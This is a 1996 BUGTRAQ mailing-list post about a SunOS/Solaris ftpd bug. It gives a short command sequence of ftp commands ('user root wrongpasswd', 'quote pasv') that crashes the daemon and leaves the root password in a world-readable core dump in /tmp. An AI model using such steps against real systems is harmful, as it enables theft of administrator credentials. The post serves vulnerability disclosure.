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Re: ftpd bug? Was: bin/1805: Bug in ftpd

daemon@ATHENA.MIT.EDU (Martin Rex)
Wed Oct 16 00:30:06 1996

Date: 	Tue, 15 Oct 1996 18:14:08 -0400
Reply-To: Martin.Rex@sap-ag.de
From: Martin Rex <martin.rex@sap-ag.de>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
In-Reply-To:  <199610151521.LAA03025@cam2.gsfc.nasa.gov.> from "James Poland
              6-5251" at Oct 15, 96 11:21:35 am

James Poland 6-5251 wrote:
>
> On Solaris 2.5.1, the core file contains only the user's password in
> cleartext. How hard is it to crash someone else's ftp session?

Killing from the command line doesn't seem to work, but:

SunOS 5.5:

logon via ftp with your regular user/password,
ftp> cd /tmp
ftp> user root wrongpasswd
ftp> quote pasv

voila, root password in world readable core dump under /tmp

-Martin

PS: Sun's ftpd doesn't core when issuing "quote pasv" before logon,
    so the seem to have used the proposed fix

         Checking for "pw != NULL"

    So this proposal was simple and obvious   ... and incomplete. :)

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